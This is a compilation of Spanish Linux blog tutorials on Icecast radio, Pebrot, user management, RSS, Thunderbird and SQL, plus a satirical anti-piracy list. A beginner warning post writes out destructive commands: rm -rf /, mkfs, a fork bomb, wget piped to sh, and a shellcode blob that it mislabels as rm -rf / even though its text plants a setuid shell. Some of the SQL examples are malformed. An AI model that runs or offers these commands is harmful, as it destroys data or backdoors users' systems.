Radio por internet en solo 5 minutos con GNU/Linux

Bien, vamos a montar nuestra propia estación de radio utilizando software libre. Para ello utilizaremos unos servidores gratuitos que implementan este servicio utilizando Icecast y en nuestra máquina solo instalaremos la aplicación Ices2.

icecast

Icecast es un proyecto para streaming de medios mantenido por la Fundación Xiph.org. Puede ser utilizado para crear una estación de la radio en internet o para uso privado entre otras cosas. Es muy versátil en que los nuevos formatos se pueden agregar relativamente fácil y soporta estándares abiertos para comunicación e interacción. También se refiere específicamente al programa servidor que es parte del proyecto.

Actualmente el servidor Icecast soporta en sus últimas versiones streams Ogg Vorbis, MP3, Ogg Speex, Ogg FLAC, Ogg Theora y AAC.

El servidor Icecast tiene una funcionalidad similar al programa propietario de servidor de medios SHOUTcast de Nullsoft y es compatible con éste.

Ices2 es el programa cliente que provee a Icecast de un stream o flujo de audio, pudiendo ser lanzado desde estaciones remotas a la que esta instalado y montado el servidor Icecast2. Puede funcionar en modo “live” (en directo) o reproduciendo una lista de reproducción o playlist.

Primer Paso:

Vamos a crear una cuenta en los servidores de giss.tv, para ello vas al enlace y creas tu cuenta y punto de montaje, esto realmente no merece mucha explicación ya que es bastante sencillo. (este sitio es el que provee los servidores gratuitos icecast).

Segundo Paso:

Instalamos la aplicación Ices2 desde los repositorios:

$ sudo apt-get install ices2

Tercer Paso:

Debemos crear nuestro archivo de configuración .xml que complementariamente con Ices2, enviará a los servidores el stream o flujo de audio que generemos en nuestra máquina.

copia el archivo de ejemplo que se encuentra en /usr/share/doc/ices2/examples/ices-alsa.xml en tu carpeta personal

usuario@nombre:/usr/share/doc/ices2/examples$ cp ices-alsa.xml /home/tu_usuario/

Luego edita este archivo en tu home, con el editor que prefieras y te debe quedar de una forma similar a esto:

——————

<?xml version=”1.0″?>
<ices>

<!– run in background  –>
<background>0</background>
<!– where logs go. –>
<logpath>/var/log/ices</logpath>
<logfile>ices.log</logfile>
<!– size in kilobytes –>
<logsize>2048</logsize>
<!– 1=error, 2=warn, 3=infoa ,4=debug –>
<loglevel>4</loglevel>
<!– logfile is ignored if this is set to 1 –>
<consolelog>0</consolelog>

<!– optional filename to write process id to –>
<!– <pidfile>/home/ices/ices.pid</pidfile> –>

<stream>
<!– metadata used for stream listing –>
<metadata>
<name>Tu radio</name>
<genre>Variado</genre>
<description>Transmisión utilizando GNU/Linux</description>
<url>http://giss.tv:8000/tu_punto_de_montaje.ogg</url&gt;
</metadata>

<!–    Input module.

This example uses the ‘oss’ module. It takes input from the
OSS audio device (e.g. line-in), and processes it for live
encoding.  –>
<input>
<module>alsa</module>
<param name=”rate”>48000</param>
<param name=”channels”>2</param>
<param name=”device”>hw:0,0</param>
<param name=”periods”>2</param>
<param name=”buffer-time”>500</param>
<!– Read metadata (from stdin by default, or –>
<!– filename defined below (if the latter, only on SIGUSR1) –>
<param name=”metadata”>0</param>
<param name=”metadatafilename”>test</param>
</input>

<!–    Stream instance.

You may have one or more instances here.  This allows you to
send the same input data to one or more servers (or to different
mountpoints on the same server). Each of them can have different
parameters. This is primarily useful for a) relaying to multiple
independent servers, and b) encoding/reencoding to multiple
bitrates.

If one instance fails (for example, the associated server goes
down, etc), the others will continue to function correctly.
This example defines a single instance doing live encoding at
low bitrate.  –>

<instance>
<!–    Server details.

You define hostname and port for the server here, along
with the source password and mountpoint.  –>

<hostname>giss.tv</hostname>
<port>8000</port>
<password>tu_password</password>
<mount>/tu_punto_de_montaje.ogg</mount>
<yp>1</yp>   <!– allow stream to be advertised on YP, default 0 –>
<reconnectdelay>2</reconnectdelay>
<reconnectattempts>8</reconnectattempts>
<maxqueuelength>80</maxqueuelength>

<!–    Live encoding/reencoding:

channels and samplerate currently MUST match the channels
and samplerate given in the parameters to the oss input
module above or the remsaple/downmix section below.  –>

<encode>
<nominal-bitrate>64000</nominal-bitrate>
<quality>5</quality>
<samplerate>48000</samplerate>
<channels>2</channels>
</encode>

<!– stereo->mono downmixing, enabled by setting this to 1 –>
<downmix>0</downmix>

<!– resampling.

Set to the frequency (in Hz) you wish to resample to, –>

<resample>
<in-rate>48000</in-rate>
<out-rate>44100</out-rate>
</resample>
</instance>

</stream>
</ices>

———-

Lo importante en el archivo es lo que puse con negritas, el resto de las configuraciones las podrás ir acomodando a tu gusto.

Cuarto Paso:

Realizamos la conexión con los servidores de giss.tv realizando el siguiente comando como usuario root:

$ sudo ices2 archivo.xml

Quinto Paso:

Configuramos en alsa la captura de audio de nuestra tarjeta de sonido, para ello haz doble click sobre el icono de parlante en la barra superior habilita la captura de audio, te deberá mostrar un micrófono y parlante, estos deben estar habilitados y con un volumen medio.

Finalmente reproduce un archivo de música en tu reproductor favorito y podrás luego desde otra máquina verificar la transmisión.  No lo hagas en la misma máquina que esta generando el stream, ya que se provocará una retransmisión del audio.

Pebrot, cliente de mensajería MSN para la consola

Pebrot es un cliente de mensajería MSN para utilizar en consola implementado con Python. Presenta una agradable interfaz con colores basada en Curses.

La última versión es pebrot-0.8.8. Usa Python 2.2 o superior para su correcto funcionamiento.

El paquete fuente lo puedes bajar desde aquí y su instalación es bastante sencilla.

Una vez que hemos desempaquetado el archivo, ingresamos a la carpeta que se nos ha creado y realizamos lo siguiente:

Para instalar

# python setup.py install

Para crear un paquete .deb

$ python setup.py bdist

Esta orden nos creará un directorio dist/ y un paquete con extensión .tgz, entonces utilizamos alien para crear nuestro .deb (si no tienes instalado alien, bueno desde los repositorios #apt-get install alien).

$ alien xxxxxx.tgz -d

Una vez que ya está instalado, configuramos Pebrot para utilizar la mensajería MSN, editando el siguiente archivo ubicado en tu /home/usuario/:

$ nano .pebrot/pebrotrc

Tan solo basta con ingresar nuestro usuario y password si así lo deseamos, aunque la password es posible dejarla en blanco y la aplicación nos la pedirá antes de realizar la conexión

————

# Pebrot config file
# (You should be the only one who can read this file, take a look at README)

# Here you must write your MSN user (with @hotmail.com included)
# and you password
#
# You can use more accounts, just add more user/password entries, like this:
# user=
# password=
#
# user= user2@hotmail.com
# password= password2
#
# etc…
#
# Pebrot defaults to the first user (i.e. user1), but you can select other
# with -u argument.
#
# And if you don’t like to put your password here (root could peek it), just
# comment or leave password option undefined, Pebrot will ask for it before
# connecting to server.

user= tu_usuario@hotmail.com
password=

———–

Guardamos el archivo (ctrl + o) y salimos del editor (ctrl + x)

Arrancamos Pebrot desde la consola digitando justamente el nombre de la aplicación:

$ pebrot

Y estaría todo listo

Una vez que se ha inicializado y conectado nuestro cliente, podemos acceder a la ayuda digitando en la interfaz de Pebrot el siguiente comando:

\?

Aquí se te indicarán las utilidades más recurrentes de nuestro cliente.

http://pebrot.sourceforge.net/

USUARIOS Y GRUPOS EN LINUX

Linux es un sistema multiusuario y permite que varios usuarios puedan acceder, incluso simultáneamente. Cada usuario podrá tener su configuración y sus archivos independientes.

Añadir un nuevo usuario

La herramienta primaria para añadir usuarios en debian es adduser:

# adduser victor

adduser elegirá el siguiente uid libre (identificador de usuario), creará un directorio home llamado victor, copiará /etc/skel a /home/victor y luego pregunta por un nuevo password para victor. Esta contraseña se guardará encriptada en el archivo /etc/passwd o en shadow (dependiendo de la configuración).


Borrar un usuario

El comando userdel, eliminara un usuario de /etc/passwd. Si se quiere también borrar toda la información de su directorio personal se usara la opción -r:

# userdel -r victor

userdel no elimina la entrada en /etc/group por lo que habria que hacerlo a mano.

Cambiar la contraseña de un usuario

Se utiliza el comando passwd.

# passwd victor

Se solicitará dos veces la contraseña para verificarla.


Acceso con privilegios de root

Además de entrar en el login del sistema como root, hay dos formas para ampliar los privilegios de un usuario y adquirir los de root. Los dos programas para hacer esto son su y sudo.


El comando su

El comando su hace que un usuario que se haya identificado con su propia cuenta pueda cambiar su uid al de root. Por supuesto debe saber el password del root.

El comando sudo

En este caso no es necesario que el usuario conozca la contraseña de root.

Este programa permite que un usuario pueda ejecutar determinados comandos con privilegios de root.

Estos usuarios y los comandos permitidos para él deben de estar en el fichero /etc/sudoers.

Por ejemplo para que el usuario victor pueda hacer un shutdown del sistema debe haber una entrada en el fichero sudoers como:

victor /sbin/shutdown -[rh] now


Grupos

Los grupos permiten asignar permisos de ficheros y directorios a muchos usuarios de una vez. A un grupo pueden pertenecer varios usuarios y un usuario puede pertenecer a varios grupos.

Un usuario tiene asignado un grupo principal o por defecto.


Añadir un nuevo grupo

Para añadir un nuevo grupo:

# addgroup nuevogrupo


Eliminar un grupo

Para eliminar un grupo:

# groupdel nombre_de_grupo


Asignar un usuario a un grupo

Para cambiar el grupo por defecto de un usuario:

# usermod -g grupo usuario

Para añadir el usuario a otros grupos:

# usermod -G lista_de_grupos


Quitar un usuario de un grupo

Para eliminar un grupo al que ya no pertenece ningún usuario:

# groupdel grupo

Fuente: Manual de Knoppix, Victor Alonso Barberán.


Los 7 Comandos Prohibidos de Linux

Si eres un novato en Linux, probablemente te hayas encontrado con personas que quieren aprovecharse de tu ignorancia, usando comandos que podrían dañar tus archivos o tu sistema operativo por completo.

Un listado de cosas que no deberías hacer nos proporciona Jun Auza, de Tech Source:

1.

rm -rf /
Esto borrará recursivamente y de manera forzada todos los archivos de tu directorio raíz, o root.

2.

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es la versión hexadecimal de [rm -rf /], que podría confundir a los más experimentados.

3.

mkfs.ext3 /dev/sda

Se formateará (o borrará) todos los archivos en el dispositivo mencionado después del comando mkfs.

4.

:(){:|:&};:

Conocido como forkbomb, le ordenará a tu sistema ejecutar una gran cantidad de procesos hasta que éste se congele. Frecuentemente puede llevarnos a datos corruptos.

5.

cualquier_comando > /dev/sda
Con este comando, se escribirá información en un block que usualmente corresponde al sistema de archivos, lo que resulta en una pérdida total de información.

6.

wget http://alguna_fuente_desconocida -O- | sh

Nunca descargues archivos de fuentes desconocidas, pues después podrías ejecutar cualquier código malicioso que se te envíe.

7.

mv /home/tu_nombre/* /dev/null
Se moverán todos los archivos en tu directorio home a un lugar que no existe. Esto quiere decir que no volverás a ver esos documentos de nuevo.

Por supuesto, existen otros comandos que podrían tener efectos similares. ¿Cuáles conoces tu?

Los nuevos diez mandamientos anti piratería

10 nuevos casos delictivos de modificación de obras audiovisuales:

1. No copiarás a mano partituras de obras musicales para que un amigo las toque en la guitarra.

2. No tomarás apuntes de esculturas ni compartirás el resultado de esos apuntes con otros amigos hippies que tengas.

3. No cantarás en las gradas canciones propias sobre músicas ajenas. “Oé, oé, Barça, Barça” puede ser letra tuya, pero la música no lo es.

4. No leerás por teléfono las letras del último CD que te compraste. Si tu amigo está interesado, que se compre otro. Vigilamos tus llamadas.

5. No le leerás libros con copyright a los ciegos.

6. Mucho menos le explicarás —mediante señas— los parlamentos de House a un sordo. Las señas son una modificación de las obras.

7. No harás caricaturas de personajes de obras audiovisuales sin el consentimiento de todos los dibujados.

8. No tendrás malformaciones genéticas que te hagan parecer a personajes populares con copyright. Escoge: cirugía estética o cárcel.

9. No utilizarás el carnaval (ni cualquier otra excusa emparentada con la felicidad) para disfrazarte de cosas a los que no tienes derecho.

10. Y por supuesto, no podrás transcribir lo que dicen por la tele los actores para que otros puedan entenderlo en su idioma materno. Tu solidaridad colectiva es nuestra ruina particular.

Si cometes alguno de estos ilícitos, te perseguiremos hasta que te arrodilles, hasta que pidas perdón y aceptes vivir en un mundo de mierda, lleno de gente con corbata que escribe frases como la 21/04/1989 (EDJ 1989/4257); la 26/11/1993 (EDJ 1993/10733); y la 20/11/1997 (EDJ1997/9938) o 4/2/1998 (EDJ 1998/643), por citar algunas. Éstas sí son frases originales que no copiamos de ningún lado, frases que nos excitan y que nos encantan.

Archívese.

Como crear un RSS para nuestra web

Una de las grandes ventajas de los blogs sobre las paginas web tradicionales, es la automatizacion de las fuentes RSS.  Pero como todo es posible  (o al menos casi todo) a nivel de programacion, aqui les muestro como pueden crear sus propias fuentes RSS.

Primero lo primero, ¿que es el RSS?

Un RSS no es otra cosa que un resumen de nuestra pagina web/blog. Existen 3 formatos de RSS y de acuerdo a ello, el significado de las siglas.

RSS (0.91) Rich Site Summary

RSS (0.0 y 1.0) RDF Site Summary

RSS (2.0) Really Simple Sindication

Para mas info sobre el RSS, pueden revisar la pagina de Wikipedia ya que no es el punto de nuestro tutorial.

Ahora si, ya sabemos que es el RSS y ahora vamos a crear nuestro propio Contenido. Para empezar podemos trabajar con el bloc de notas, ya que lo que escribiremos sera lineas de codigo, y no trabajaremos de forma visual.

La primera linea de codigo que necesitamos, es para avisarle al navegador que esta a punto de leer un archivo en formato XML (el RSS esta basado en el codigo XML) para ello solo colocaremos la siguiente linea:

<?xml version=”1.0″ encoding=”UTF-8″?>

a la cual le debe seguir esta otra linea (que viene a ser como el body en una una web, todo lo que escribamos, debe ir dentro de estas etiquetas.
<rss version=”2.0″>

</rss>

Luego,  dentro de las etiquetas rss, debemos colocar un par mas que seran importantes, una de apertura y una de cierre, lo que siga de aqui en mas, ira dentro de estas etiquetas.

<channel>

</channel>

Ahora debemos indicar quien es el propietario del canal de noticias, para ellos usaremos 3 etiquetas

<title>El Blog de Veperu</title>
<link>http://blog.veperu.com</link&gt;
<description>UN BLOG DE PERU PARA EL MUNDO</description>

Estas tres etiquetas, son basicas, podremos agregar mas en un futuro, pero estas deben estar de todas maneras. EN Title, lo que estamos colocando, no es otra cosa que el titulo de nuestro Blog (o pagina web), en la etiqueta Link, escriberemos la direccion de nuestra web (OJO de nuestra web, no la del RSS) y por ultimo en Description, escribimos una descripcion que le querramos dar a nuestro RSS.

Estos se conocen como elementos no variables, ya que no se modificaran con el tiempo (salvo que nosotros lo hagamos) Lo que viene a continuacion, son conocidos como elementos variables, ya que seran los que se modifiquen con los nuevos ingresos. Lo vamos a realizar de una manera basica y “rudimentaria” es decir, nosotros mismos deberos actualizar el archivo con las nuevas entradas que tengamos, en un futuro, veremos como hacer eso mas dinamico.

El funcionamiento es muy similar a lo visto para los elementos no variables, consta de 3 etiquetas (las basicas, recuerda que se le pueden agregar mas) La unica diferencia, es que debemos escribir una etiqueta antes junto con la de cierre como siempre.

<item>

</item>

Todo lo que este dentro de estas etiquetas, sera considerado como un elemento y los lectores de Feeds, lo veran como tal. Ahora si, colocamso nuestras 3 etiquetas

<title>El titulo del articulo</title>
<link>http://blog.veperu.com/articulo.htm</link&gt;
<description>Una pequeña descripcion del mismo, o el articulo completo si queremos</description>

Esto lo repetiremos tantas veces como entradas queremos que tenga nuestro feed. Si queremos que se muestren 5 entradas, hacemos 5 “items” si queremos 10, pues lo repetiremos 10 veces. Ahora solo nos queda guardarlo, para ello usaremos la extension XML, por ejemplo podemos llamarlo feed.xml (original ¿no? ) y ya estara listo para que nuestros visitantes puedan estar actualizados con las ultimas noticias que publiquemos.

Aca les dejo un ejemplo completo sobre un archivo en formato XML para que puedan crear su propio feed.

<?xml version=”1.0″ encoding=”ISO-8859-1″  ?>
<rss version=”2.0″>

<channel>

<title>El Blog de Veperu</title>
<link>http://blog.veperu.com</link&gt;
<description>UN BLOG DE PERU PARA EL MUNDO</description>

<item>

<title>El titulo del articulo 1</title>
<link>http://blog.veperu.com/articulo1.htm</link&gt;
<description>Una pequeña descripcion del mismo, o el articulo completo si queremos</description>

</item>

<item>

<title>El titulo del articulo 2</title>
<link>http://blog.veperu.com/articulo2.htm</link&gt;
<description>Una pequeña descripcion del mismo, o el articulo completo si queremos</description>

</item>

<item>

<title>El titulo del articulo 3</title>
<link>http://blog.veperu.com/articulo3.htm</link&gt;
<description>Una pequeña descripcion del mismo, o el articulo completo si queremos</description>

</item>

</channel>

</rss>

Thunderbird en español

En ubuntu si seleccionamos el paquete de Thunderbird, se nos instala en inglés por defecto, para cambiarlo al español, debemos de seguir unos pequeños pasos.

  • Descargamos el Thunderbird en español de la página oficial de Mozilla
  • Lo descomprimimos mediante el Escritorio o desde la consola
tar -zxvf thunderbird-2.0.0.16.tar.gz
  • Abrimos una consola Terminal y nos situamos en el directorio que acabamos de descomprimir
sudo cp chrome/es-ES.* /usr/share/thunderbird/chrome
  • Nos dirigimos a la carpeta del thunderbird
cd /usr/share/thunderbird/chrome
  • Ahora tenemos que desactivar el idioma inglés
sudo mv en-US.manifest en-US.manifest.old

Ya podemos cerrar la consola Terminal y abrimos el Thunderbird, ya deberíamos de tenerlo en español

Si deseass más información sobre este tema nos podemos dirigir a las guías del wiki de ubuntu

Sentencias Básicas en SQL

Para los “tiquismiquis” ¿qué es un compendio?

Compendio (del latín compendĭum) es el nombre que recibe una breve pero detallada y precisa compilación de un área determinada deĺ conocimiento humano. En la mayoría de los casos el área de conocimiento se referirá a un cierto campo delimitado de interés (en este caso SQL). A veces puede ser un resumen de una obra mayor. Dentro de la brevedad de la exposición, el compendio puede contener materia complicada y extensa.

Conectarse a mysql

CODE:

  1. mysql -h localhost -u root -p pruebas

albertjh@portatil:~$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 7
Server version: 5.0.51a-3ubuntu5 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql>

Crear una base de datos

SQL:

  1. CREATE DATABASE pruebas;

Usar una base de datos

SQL:

  1. USE pruebas;

mysql> use prueba;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Ver estructura de una tabla de datos

SQL:

  1. DESCRIBE Alumnos ;

mysql> describe alumnos;
+-----------+-------------+------+-----+---------+-------+
| Field     | Type        | Null | Key | Default | Extra |
+-----------+-------------+------+-----+---------+-------+
| Id        | int(11)     | YES  |     | 0       |       |
| nombre    | varchar(10) | YES  |     | NULL    |       |
| apellidos | varchar(30) | YES  |     | NULL    |       |
| tlfn      | int(10)     | YES  |     | NULL    |       |
+-----------+-------------+------+-----+---------+-------+
4 rows in set (0.00 sec)
mysql>

Ver tablas de datos

SQL:

  1. SHOW TABLES;

mysql> show tables;
+------------------+
| Tables_in_prueba |
+------------------+
| Notas            |
| alumnos          |
| mascotas         |
+------------------+
3 rows in set (0.00 sec)

Borrar tabla de datos

SQL:

  1. DROP Notas;

Crear una tabla de datos

SQL:

  1. CREATE TABLE Alumnos(
  2. id INT NOT NULL,
  3. nombre VARCHAR (10) NOT NULL,
  4. apellido VARCHAR (10) NOT NULL,
  5. telefono LONG,
  6. CONSTRAINT alumnosPk1 PRIMARY KEY (id)
  7. );
  8. CREATE TABLE Notas(
  9. id INT NOT NULL,
  10. modulo VARCHAR (10) NOT NULL,
  11. parcial INT NOT NULL,
  12. nota INT NOT NULL CHECK (VALUE BETWEEN 1 AND 10),
  13. CONSTRAINT notasPk1 PRIMARY KEY (id, modulo),
  14. CONSTRAINT notasfk1 FOREIGN KEY (id) REFERENCES Alumnos(id)
  15. );

Insertar datos en una tabla de datos

SQL:

  1. INSERT INTO Alumnos VALUES(‘1’,‘juan’,‘garcia’,‘949494949’);
  2. INSERT INTO Alumnos VALUES(‘2’,‘maria’,‘alvarez’,);
  3. INSERT INTO Alumnos VALUES(‘3’,‘carlos’,‘perez’,‘6458544’);
  4. INSERT INTO Alumnos VALUES(‘4’,‘alberto’,‘jimenez’,);
  5. INSERT INTO Alumnos VALUES(‘5’,‘vanesa’,‘galera’,‘912552522’);
  6. INSERT INTO Alumnos VALUES(‘6’,‘sergio’,‘molina’,‘5464465656’);
  7. INSERT INTO Alumnos VALUES(‘1’,‘juan’,‘garcia’,‘94949’);
  8. INSERT INTO Alumnos VALUES(‘2’,‘maria’,‘alvarez’,‘0’);
  9. INSERT INTO Alumnos VALUES(‘3’,‘carlos’,‘perez’,‘6454’);
  10. INSERT INTO Alumnos VALUES(‘4’,‘alberto’,‘jimenez’,‘0’);
  11. INSERT INTO Alumnos VALUES(‘5’,‘vanesa’,‘galera’,‘9125’);
  12. INSERT INTO Alumnos VALUES(‘6’,‘sergio’,‘molina’,‘5464’);

Visualizar datos en una tabla de datos

SQL:

  1. SELECT * FROM Alumnos;

Visualizar datos seleccionados en una tabla de datos

Usamos la sentencia WHERE:

SQL:

  1. SELECT * FROM Alumnos
  2. WHERE (id&gt; 5 AND (nombre=‘alberto’);

mysql> SELECT * FROM alumnos WHERE id < 5 AND nombre="Alberto";
+------+---------+-------------------+-----------+
| Id   | nombre  | apellidos         | tlfn      |
+------+---------+-------------------+-----------+
|    1 | Alberto | Jimenez********** | 67922**** |
+------+---------+-------------------+-----------+
1 row in set (0.00 sec)

Visualizar datos seleccionados en una tabla de datos, por orden

Usamos la sentencia ORDER BY, si no indicamos parámetros es ascendente, el contrario es DESC

SQL:

  1. SELECT apellido, nombre
  2. FROM Alumnos
  3. ORDER BY apellido, nombre
  4. ;

Visualizar datos seleccionados en una tabla de datos:
AND Y OR

Ejemplo con AND y OR:

SQL:

  1. SELECT Alumnos.id, nombre, apellido, telefono, modulo, parcial, nota
  2. FROM Alumnos,Notas
  3. WHERE ((Alumnos.id = Notas.id) AND (modulo LIKE ‘sistemas’)) OR ((modulo LIKE “analisis”) AND (nota&gt; 5))
  4. ORDER BY Alumnos.id,modulo;

Visualizar datos seleccionados en una tabla de datos sin repetirse

Usamos la sentencia DISTINCT:

SQL:

  1. SELECT DISTINCT modulo
  2. FROM Notas
  3. WHERE nota&gt; 5;

Visualizar datos seleccionados en una tabla de datos contándolos

Usamos la sentencia COUNT:

SQL:

  1. SELECT COUNT(nota)
  2. FROM Notas;

mysql> select count(nota) FROM Notas;
+-------------+
| count(nota) |
+-------------+
|           8 |
+-------------+
1 row in set (0.03 sec)

Renombrar nombre de tablas “alias”

Usamos la sentencia AS:

SQL:

  1. SELECT modulo,avg(nota) AS media
  2. FROM Notas AS n
  3. WHERE n.id=3 OR n.id=1 OR n.id=2
  4. GROUP BY modulo
  5. ORDER BY media DESC;

+--------+--------+
| modulo | media  |
+--------+--------+
| ASI    | 9.0000 |
| DAI    | 7.7143 |
+--------+--------+
2 rows in set (0.05 sec)

Visualizar datos seleccionados en una tabla de datos,  su máximo, mínimo, media y suma

Usamos las sentencias MAX, MIN ,AVG y SUM:

SQL:

  1. SELECT MAX(nota)
  2. FROM Notas
  3. WHERE id=1;
  4. SELECT AVG(nota)
  5. FROM Notas
  6. WHERE id=1;
  7. SELECT MIN(nota)
  8. FROM Notas;
  9. SELECT AVG(nota) AS media
  10. FROM Notas
  11. WHERE modulo = “analisis”;
  12. SELECT SUM(nota) AS Suma
  13. FROM Notas;

Borrar datos de una tabla

SQL:

  1. DELETE * FROM Notas WHERE condicion;
SQL:

  1. DELETE * FROM Notas WHERE condicion;
  2. SELECT a.id, a.nombre, n.modulo, n.nota
  3. FROM Alumnos a ,Notas n
  4. WHERE a.id = n.id ;

Sentencia LIKE

En entornos no unix los operandos especiales son: * y ?
* Una o varias apariciones
? Una o ninguna apariciones
En entornos unix: % y _
% Una o varias apariciones
_ Una o ninguna apariciones

SQL:

  1. SELECT *
  2. FROM Alumnos,Notas
  3. WHERE Alumnos.id = Notas.id AND modulo LIKE “%sistemas” OR modulo LIKE “00_%Diurno”
  4. ORDER BY apellido;


mysql> select nombre from Personas where nombre like "%, J%";
+---------------------+
| nombre              |
+---------------------+
| HERRERO, JOSE       |
| DE LA ROSA, JULIAN  |
| FERNANDEZ, JUAN     |
| MOTOS, JUAN         |
| ARNAZ, JOSE ANTONIO |
+---------------------+
5 rows in set (0.02 sec)

Operando básicos

< Menor que
>
Mayor que
>=
Mayor o igual
<=
Menor o igual
!=
Distinto de

Sentencia SubStr e InStr

SubStr se usa para seleccionar una determinada cadena de texto, por el contrario InStr devuelve un número entero donde encuentra el caracter buscado dentro de una cadena de texto.

SQL:

  1. SELECT SUBSTR(nombre, INSTR(nombre, ‘,’)+2) Nombre
  2. FROM Personas;


mysql> SELECT SUBSTR(nombre, INSTR(nombre, ',')+2) Nombre
-> FROM Personas;
+--------------+
| Nombre       |
+--------------+
| CARLOS       |
| ALVARO       |
| GUILLERMO    |
| SANTIAGO     |
...
| JOSE ANTONIO |
| PABLO        |
+--------------+
47 rows in set (0.40 sec)

Sentencia Between

Para evitar hacer repeticiones tales como:
… AND ((nota >= 5) AND (nota <= 8));
Se usa between:

SQL:

  1. SELECT nombre, apellido, modulo, nota
  2. FROM Alumnos, Notas
  3. WHERE (Notas.id = Alumnos.id) AND (nota BETWEEN 5 AND 8);

Sentencia Round

Sirve para redondear, le podemos indicar cuantos decimales incluiremos.

SQL:

  1. SELECT ROUND(AVG(importe), 2)
  2. FROM Multas;


mysql> select ROUND(AVG(importe),2) REDONDEO from Multas;
+----------+
| REDONDEO |
+----------+
|   199.09 |
+----------+
1 row in set (0.00 sec)

Sentencia Count

Sirve para contar. Podemos usar el * para que el motor nos escoja la opción o ponerlos nosotros mismos.

SQL:

  1. SELECT count(*) “NUMERO DE MULTAS”
  2. FROM Multas;


mysql> select count(ref) "NUMERO DE MULTAS" from Multas;
+------------------+
| NUMERO DE MULTAS |
+------------------+
|               35 |
+------------------+
1 row in set (0.00 sec)

Subselects con IN o NOT IN

Podemos hacer subselects en una misma línea pudiendo restringir mucho más los datos a seleccionar:

SQL:

  1. SELECT DISTINCT nombre, apellido
  2. FROM Alumnos
  3. WHERE id IN ( SELECT DISTINCT id
  4. FROM Notas
  5. WHERE nota&gt;=5 ) ;
SQL:

  1. SELECT nombre,apellido
  2. FROM Alumnos AS A, Notas AS N
  3. WHERE (A.id = N.id) AND (N.nota&gt; ( SELECT AVG(nota) FROM Notas ) ) ;

Si necesitamos hacer muchas selecciones como IN solo devuelve un campo tenemos que hacer GROUP BY:

SQL:

  1. SELECT MAX(resultado.Suma) AS Maximo
  2. FROM (SELECT modulo, SUM(nota) AS Suma
  3. FROM Notas
  4. GROUP BY modulo) resultado ;

Subir ↑